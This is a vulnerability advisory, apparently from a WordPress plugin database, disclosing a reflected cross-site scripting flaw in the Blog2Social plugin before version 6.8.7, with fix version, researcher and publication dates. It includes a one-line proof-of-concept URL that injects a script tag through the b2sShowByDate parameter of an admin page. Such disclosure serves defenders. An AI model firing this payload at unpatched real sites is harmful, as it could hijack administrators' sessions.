WordPress Plugin Vulnerabilities
Blog2Social < 6.8.7 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue
Proof of Concept
https://example.com/wp-admin/admin.php?page=blog2social&b2sShowByDate="><script>alert(/XSS/)</script>
Affects Plugins
Fixed in version 6.8.7
References
Classification
Miscellaneous
Original Researcher
JrXnm
Submitter
JrXnm
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2021-11-22 (about 7 months ago)
Added
2021-11-22 (about 7 months ago)
Last Updated
2022-04-11 (about 2 months ago)